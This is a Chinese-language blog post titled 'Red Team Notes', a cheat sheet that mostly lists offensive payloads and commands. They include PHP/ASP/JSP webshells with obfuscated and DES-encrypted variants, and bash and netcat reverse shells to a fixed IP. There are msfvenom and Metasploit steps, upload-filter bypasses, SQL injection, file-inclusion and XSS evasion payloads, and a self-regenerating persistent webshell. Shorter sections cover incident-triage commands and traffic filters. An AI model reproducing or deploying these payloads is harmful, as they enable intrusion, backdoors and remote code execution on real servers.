【技术分享】Red Team Notes
2022-02-04 / 0 评论 / 74 阅读 / 19 点赞

【技术分享】Red Team Notes

发光的神
2022-02-04 / 0 评论 / 74 阅读 / 正在检测是否收录...

信息收集

nmap -T4 -sS -Sv 192.168.1.100 -p-  # 多线程端口扫描
dirb http://192.168.1.100             # 单线程目录扫描
dirb http://192.168.1.100 -X ".tar, .zip" -t 10  # 多线程目录文件扫描
curl -X 36.6.144.192:8089 http://www.baidu.com  # 代理访问
goby fofa hunter                    # 简单的信息收集

编码加解

ldp8wwqe.png

echo "actdream" | md5sum  # 将字符串 "actdream" 转换为 MD5 哈希值
echo "actdream" | base64  # 将字符串 "actdream" 转换为 Base64 编码
echo "YWN0ZHJLYWOK" | base64 -d  # 将 Base64 编码 "YWN0ZHJLYWOK" 解码
echo "%20%30%35" | xargs -d% echo  # 将 URL 编码 "%20%30%35" 解码
cat 1.txt | xargs -d% echo  # 处理包含多个 URL 编码的文本文件
hexdump -C 1.png  # 查看图片文件 "1.png" 的十六进制表示
cat 1.txt | hexdump -ve '1/1 "%.2X"'  # 将文本文件 "1.txt" 转换成十六进制格式输出

字符匹配

strings filepath | grep -E "flag1|flag2"  # 多字符匹配,匹配包含"flag1"或"flag2"的字符串
ps aux | grep 'root.* ./a.out$'  # 使用正则匹配,从头到尾匹配字符串
find / -name flag*  # 匹配前缀为"flag"的文件或目录

(\d{1,3}\.){3}\d{1,3} # 匹配ip地址

文件权限

chmod +x filename  # 给予文件可执行权限
chmod +r filename  # 给予文件可读权限
chmod +w filename  # 给予文件可写权限
chmod 755 filename  # 给予执行、读权限,同时取消写权限
chmod 700 filename  # 给予执行、读、写权限
chmod 777 filename  # 给予最高权限
chmod 000 filename  # 给予全部无权限
chmod -x filename  # 取消文件可执行权限
chmod 6 filename  # 给予可读、可写权限(去除文件小锁)

压缩包破解

ldp98zfn.png

ldp99dhh.png

zip2john flag.zip > 1.txt  # 提取 zip 压缩包的哈希值
rar2john flag.zip > 1.txt  # 提取 rar 压缩包的哈希值
john 1.txt  # 使用 John the Ripper 计算压缩包的密码
john 1.txt --wordlist=dict.txt  # 使用指定字典文件破解哈希值
crunch 4 4 0123456789 -o 1.txt  # 生成四位数密码组合,保存到 1.txt

木马wf绕过

copy /b 1.jpg + 1.php 2.jpg  # 复制并插入文件

echo "<?php eval(\$_POST['c']); ?>" >> 1.png  # 在 PNG 文件末尾追加 PHP 代码执行

<?php fputs(fopen('shell.php', 'w'), '<?php eval($_POST["sh"]); ?>'); ?>  # 写入一句话木马到 shell.php

# REQUEST 提交支持 post get
<?php system($_REQUEST["cmd"]); ?>  # 使用系统命令执行

# ASP 一句话
<% eval request("cmd") %>  # 使用 ASP 代码执行命令

# JSP 一句话
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>  # 使用 JSP 执行命令

# base64 编码 system
<?php $a = base64_decode("c3lzdGVt"); $a($_GET['a']); ?>  # base64 解码并执行命令

# 字符拼接
<?php
$a="e"."v";
$b="a"."l";
$c=$a.$b;
$c($_POST['a']);  # 拼接函数名并执行

<?php
$str="a=eval";
parse_str($str); 
$a($_POST['a']);  # 使用字符串拼接函数名

<?php 
$a = "eval";
$a(@$_POST['a']);  # 使用字符串赋值函数名
?>
/*
eval - 可利用执行系统命令
system() - 执行系统命令
passthru() - 执行系统命令并输出结果
exec() - 执行系统命令并返回结果
shell_exec() - 执行系统命令并返回结果
popen() - 打开一个进程来执行系统命令
proc_open() - 执行系统命令并返回进程资源
*/

反弹Shell

<?php $binary_data = file_get_contents('1.exe'); echo bin2hex($binary_data);  # 将二进制文件转换为十六进制
<?php $res_data = hex2bin('hex'); file_put_contents('1.exe',  $res_data);  # 还原为二进制程序

data = bytes.fromhex(open('1.hex', 'r').read())  # Python3 读取16进制数据
open('output', 'wb').write(data)  # 还原为二进制可执行文件

weevely generate 208 1.php  # 生成木马
weevely url password  # 连接木马

bash -i >& /dev/tcp/192.168.213.141/888 0 >&1  # bash 反弹shell

<?php $a = shell_exec($_GET['s']); echo "<pre>$a</pre>";  # 使用GET请求执行shell命令
<?php exec("bash -c 'bash -i >& /dev/tcp/192.168.213.141/888 0 >&1'");  # PHP反弹shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.213.141 LPORT=4444 -f exe > 1.exe  # 生成Windows木马
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.213.141 LPORT=4444 -f elf > 1.elf  # 生成Linux木马
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.213.141 LPORT=4444 -f raw > 1.php  # 生成PHP木马

# msfconsole
msfconsole -q  # 启动metasploit框架
use exploit/multi/handler  # 创建监听器
set payload php/meterpreter/reverse_tcp  # 设置PHP payload
set payload linux/x64/meterpreter/reverse_tcp  # 设置Linux payload
set payload windows/meterpreter_reverse_tcp  # 设置Windows payload

set lhost 192.168.213.141  # 设置反弹主机
set lport 4444  # 设置监听端口
show options  # 查看选项
run  # 启动监听
getsystem  # Windows提权

nc -lvp 888  # 使用netcat监听端口
bash -i >& /dev/tcp/192.168.213.141/888 0 >&1  
python -c 'import pty; pty.spawn("/bin/bash")'  # 启动新的bash来增强交互

nc -lvp 888 > 1.txt  # 接收文件
nc 192.168.213.133 888 < 1.txt  # 传输文件

nc -e cmd 192.168.100.129 4444  # Windows 反弹shell
nc -e /bin/bash 192.168.100.129 4444  # Linux 反弹shell
nc -lvp 4444  # 接收反弹shell

python3 -m http.server 80  # 启动Python HTTP服务(用于下载文件)
php -S 192.168.213.132:80  # 启动PHP HTTP服务(用于下载文件)

cat data.json | python -m json.tool  # JSON格式化转换

上传漏洞

// 白名单绕过:
X-Forwarded-For: 127.0.0.1 # 伪装请求源ip

// 双后缀名绕过:xxx.phpphp
MIME绕过:image/jpg

// 空格绕过:xxx.jpg空格
.htaccess绕过:AddType application/x-httpd-php .jpg

// 大小写绕过:phP PHP Php
.user.ini绕过:auto_prepend_file=a.jpg auto_append_file=a.jpg

// 文件头绕过:GIF89a 89504E47 FFD8FF
后缀:Php php2 php3 php4 php5 php6 php7 pht phtm phtml

<scrip language="php">@eval($_POST['c']);<script>
<?php eval($_POST['sh']);
<? eval($_POST['sh']); # 去php头绕过

// 可利用执行函数
eval()
system()
exec()
shell_exec() //(反引号也可以)
passthru()
pcntl_exec()
popen()
proc_open()
create_function()

SQL注入语句

sqlmap -r 1.txt -dbs -batch
sqlmap -r 1.txt -D test -tables -batch
sqlmap -r 1.txt -D test -T note -columns -batch
sqlmap -r 1.txt -D test -T note -C user,pass -batch # sqlmap工具
sqlmap -m 1.txt --batch # 批量注入

1' or '1' = '1 # 字符型绕过
0' union select 1,2,3 --+
0' union select 1,version(), database()

#堆叠注入
1'; show databases;# 显示数据库 
1'; show tables;# 查看表名
1'; show columns from note# 查看表字段

id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='note' --+ # 查看字段
id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='fl4g' --+ # 查看字段
id=0' union select 1,group_concat(fllllag),3 from note.fl4g --+ # 查看字段内容

代码加固

$str = "Is your name O'reilly?";  
echo addslashes($str);  // 简单加反斜杠
// 输出结果:Is your name O\'reilly?

$str = "Is y\our name O\\'reilly\\\?";  
echo stripslashes($str);  // 简单去除反斜杠
// 输出结果:Is your name O'reilly\?

$str = "<script>alert('test')</script>";  
echo htmlspecialchars($str);  // XSS 简单防御
// 输出结果:&lt;script&gt;alert('test')&lt;/script&gt;

$str = "select * from users where user_id =1' and 1=1 #";  
echo addslashes($str);  // SQL注入简单防御
// 输出结果:select * from users where user_id =1\' and 1=1 #

系统排查

eventvwr.msc  # 事件查看器,查看登录、注销、错误等事件
4624 登录成功  
4625 登录失败  
4634 注销成功  
4647 用户启动注销  
4672 使用管理员进行登录  
4720 创建用户  

# 文件时间排序排查,文件名称可疑排查
%UserProfile%\Recent  # 最近操作
%temp%  # 临时缓存
%appdata%  # 应用数据目录

gpedit.msc  # 组策略
systeminfo  # 系统信息
services.msc  # 应用服务
netstat -ano | findstr ES  # 排查可疑网络连接
net user  # 查看本地用户
net user Guest  # 查看用户详细信息
lusrmgr.msc  # 本地用户组
regedit  # 注册表
msconfig  # 打开启动项
taskschd.msc  # 任务计划

# Linux 命令

/var/log/cron  # 系统定时任务相关日志
/etc/rc.local  
/var/log/dmesg  # 开机自检信息
/var/log/lastlog  # 最后一次登录日志
/var/log/auth.log  # 记录验证和授权 如SSH登录、su切换用户、sudo授权
/etc/crontab  # 启动项
/etc/profile  # 环境变量

cat /etc/passwd  # 查看用户是否有可疑
cat /etc/passwd | grep x:0  # 新增的就可能存在
cat /etc/passwd | grep /bin/bash  # 查看使用shell的用户

ls -l /proc/XXX/XXXX  # 查看对应文件路径
ps –aux | grep pid  # 查看pid对应的程序
top -p pid  # 监控指定进程

userdel -r xp  # 删除用户 并将/home目录下的user目录一并删除
grep -o "Failed password" /var/log/secure|uniq -c  # 查看登录失败次数

history  # 查看终端命令历史命令
stat /etc/passwd  # 查看文件近期修改
ls -lt --time=ctime  # 查看最近被修改过的文件
ls -lt --time=ctime /home/kali  # 指定文件路径

crontab -l  # 查看启动项
creontab -e  # 编辑启动项
uname -r  # 查看内核版本

rpm -qa | grep apache  # 查看是否有这样的软件
ps -ef | grep apache  # 查询apache 进程
service httpd restart  # 重启httpd
firewall-cmd --zone=public --add-port=80/tcp --permanent  # 开放80端口
firewall-cmd --reload  # 重启防火墙
firewall-cmd --list-ports  # 显示运行通过端口

rpm -qa  # 查询软件包
service mariadb status  # 查看服务状态
service mariadb start  # 启动服务
service mariadb restart  # 重启服务
rpm -e openssh-server  # 删除软件

文件包含

?file=data://text/plain,<?php system('ls');  // 使用PHP系统命令来列出文件列表  
?file=data://text/plain,<?php system('tac flag.php');  # 查看文件内容  
?file=data://text/plain,<?=system('tac flag*');  // 绕过后缀过滤查看所有以flag开头的文件内容  
?file=/var/log/nginx/access.log&2=system('ls /var/www/html');phpinfo();  // 访问日志和文件列表操作  
?file=/var/log/nginx/access.log&2=system('tac /var/www/html/fl0g.php');phpinfo();  // 查看 /var/www/html/fl0g.php 文件内容  

程序特征码

易语言按钮征码:
查找二进制字符串 FF25,看是否有很多 JMP 堆叠在一起,如果有则很可能是易语言程序。
FF 55 FC 5F 5E

MFC类程序:
运行程序然后就 CTRL+F,查找特征代码: sub eax,0a
断下后 F7 跟进就会来到按钮事件代码处了!(如果没有 CALL,则跳过此处,即此处不为按钮事件)
(或者不用 F7,直接 enter 回车跟入跳转,在 call 处下断点)

Delphi BC++程序:
740E8BD38B83????????FF93????????

万能断点:
OD 选择查看->模块->USER32,在模块内查找二进制字符串,下断点后执行到断点,使用 alt+F9 回到用户代码。
F3A58BC883E103F3A4E8

条件断点:
[ebp-4]!=0x4010AC

总结:
MFC: sub eax,0a
VC++6.0: sub eax,0a
VB语言: 81 6C 24
易语言: FF 55 FC 5F 5E 或 (e-debug)
万能断点: F3 A5 8B C8 83 E1 03 F3 A4 E8 Z(User32 模块下断)
Delphi: 74 0E 8B D3 8B 83 ?? ?? ?? ?? FF 93 ?? ?? ?? ??
蓝屏保护特征码: 55 8B EC BB 06 00 00 00
蓝屏防御特征码: 55 8B EC 81 EC 14 00 00 00 68 0C 00 00 00

API函数断点追数据,比如断点 MessageBoxA 断下来了,
就按快捷键 ctrl + F9 返回,到 ret 再按 F8,一直往上追数据。

XSS语句

<script>alert(1);</script>  <!-- 基本XSS漏洞 -->
<body onscroll=alert("xss");> <!-- 滚动时触发XSS -->

<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus> <!-- 自动聚焦 -->

<body/onload=alert("xss");> <!-- 页面加载时触发XSS -->
<audio src=x  onerror=alert("xss");> <!-- 音频错误时触发XSS -->

<video><source onerror="alert(1)"> <!-- 视频播放错误触发XSS -->
<iframe onload=alert("xss");></iframe> <!-- iframe加载时触发XSS -->

<svg onload=alert("xss");> <!-- SVG加载时触发XSS -->
<details open ontoggle="alert('xss');"> <!-- 可折叠元素切换时触发XSS -->

<input onfocus="alert('xss');"> <!-- 输入框聚焦时触发XSS -->
<scirpt>alert("xss");</script> <!-- 脚本标签 -->

<textarea onfocus=alert("xss"); autofocus> <!-- 多行文本框 -->

<a href="javascript:alert(`xss`);">xss</a> <!-- 超链接触发XSS -->
<a href="javascript:alert(`xss`);">xss</a> # 空格绕过 / 代替空格

<ImG sRc=x onerRor=alert("xss");> # 大小写绕过

<imimgg srsrcc=x onerror=alert("xss");> # 双写字绕过

<img src="x" onerror="a=`alert`;b=`(`;c='xss`;eval(a+b+c)"> # 字符拼接

<!-- Unicode编码绕过 -->
<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;">
<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">

<!-- url编码绕过 -->
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>

<!-- ascii码绕过 -->
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">

<!-- hex绕过 -->
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>

<!-- 八进制绕过 -->
<img src=x onerror=alert('\170\163\163')>

<!-- base64绕过 -->
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

<!-- 十进制IP -->
<img src="x" onerror=document.location=`http://2130706433/`>

<!-- 八进制IP -->
<img src="x" onerror=document.location=`http://0177.0.0.01/`>

<!-- 十六进制 -->
<img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>

流量过滤

ftp http arp udp telnet smtp 
username password
flag{ flag Rar PK .rar .zip .png .py .tar.gz .7z .jpg
666c6167
&#102
JFIF # 关键字文件搜索

nbns # 查找主机名称
http contains "robots.txt" or http.request.uri contains "robots.txt" # 查看robots.txt
ftp contains "USER" and ftp contains "PASS" # 查找账号密码
http contains "uname" # 查看内核版本
http contains "www-data" or http contains "root" # 查看shell连接后权限
http.request.uri contains "login" or http.request.uri contains "admin" # 查找url存在login或admin
tcp.connection.syn # 查看tcp第一次访问
ftp contains "USER" # 过滤FTP账号
http contains "404" # 搜索被爆破哪些目录
tcp.flags.syn==1 # 查看被扫描了哪些端口
tcp.flags.syn==1 and ip.src==192.168.213.145 # 查看哪些端口被扫描 - 开放
http.request.method == POST or http contains "submit" # 查找表单关键字
http.response.code==200 and http contains "database" # 查看数据库请求成功后
http contains ".log" # 查看存在日志关键字

http contains "<?php eval"
http contains "<?php @eval" # 过滤内容存在一句话木马
http.request.uri contains "shell.php" # 过滤url存在敏感文件
ip.port == 3306 and http contains "version=" # mysql版本
http contains "whoami" or http contains "ls" # 查看被入侵后

http contains "acunetix" # 搜索扫描工具特征
一般扫描工具:Awvs, Netsparker, Appscan, 
Webinspect, Rsas, Nessus, WebReaver, Sqlmap

不死马

<?php
// 忽略用户断开请求,保证脚本持续运行
ignore_user_abort(true);

// 设置脚本执行时间无限制
set_time_limit(0);

// 删除当前脚本自身,防止重复执行
unlink(__FILE__);

// 定义新的shell.php文件名
$file = 'shell.php';

// 编写webshell代码,包含密码验证和命令执行
$code = '<?php if(md5($_POST["passwd"])=="8c7d608cbb4c63f32be59a9ba8c9f49d"){@eval($_REQUEST["cmd"]);} ?>';

// 无限循环生成shell.php文件
while (1) {
    // 写入webshell代码到文件
    file_put_contents($file, $code);

    // 修改文件修改时间,防止被删除
    system('touch -m -d "2020-12-01 09:10:12" shell.php');  

    // 每隔5秒执行一次
    usleep(5000);
}
?>

// passwd=AabyssTeam
// POST传参:passwd=AabyssTeam&cmd=system('ls');
<?php
// 设置脚本执行时间无限制
set_time_limit(0);    

// 忽略用户断开请求,脚本将后台运行
ignore_user_abort(1); 

// 删除当前脚本自身,防止重复执行
unlink(__FILE__);     

// 无限循环生成shell.php文件
while(1) {
    // 创建shell.php文件并写入简单的webshell代码
    file_put_contents('shell.php','<?php @eval($_POST["cmd"]);?>');  

    // 间隔时间,防止过于频繁
    sleep(0);    
}
?>

Linux信息收集

// 检查系统发行版本信息
cat /etc/issue          // 显示系统发行信息
cat /etc/*-release      // 显示系统发行版本
cat /etc/lsb-release    // 显示 LSB (Linux Standard Base) 发行版本
cat /etc/redhat-release // 显示 Red Hat 发行版本

DES Webshell

<?php
$a = $_GET['cmd']; // 从 URL 参数中获取 cmd 参数
$key = 'qaswedfr';  // 加密密钥
$decryptedData = openssl_decrypt(base64_decode($a), 'DES-ECB', $key, OPENSSL_RAW_DATA); // 使用 DES-ECB 解密数据
$flag = ""; // 存储解密后的数据

// 对每个解密后的字符使用异或运算处理
for($i=0; $i<strlen($decryptedData); $i++){
    $test = $decryptedData[$i];
    $flag .= chr(ord($test) ^ 0x10); // 使用 XOR 运算处理字符
    echo "<br />";
}

echo $flag; // 输出解密后的数据
system($flag); // 执行解密后的命令
?>
<?php
// 定义解密函数
function iJG($BHM) { 
    $BHM = gzinflate(base64_decode($BHM)); // 使用 base64 解码和 inflate 解压缩
    for($i=0; $i<strlen($BHM); $i++) {
        $BHM[$i] = chr(ord($BHM[$i]) - 1); // 每个字符减去 1
    }
    return $BHM;
}

// 调用解密函数,传入加密数据
eval(iJG("U1QEAm4QkVaelKupmhAYEBIao1yYVFJSUVCcqhynZcPtYA8A"));
?>

Webshell大马

laqysp38.png

19

评论 (0)

取消
0:00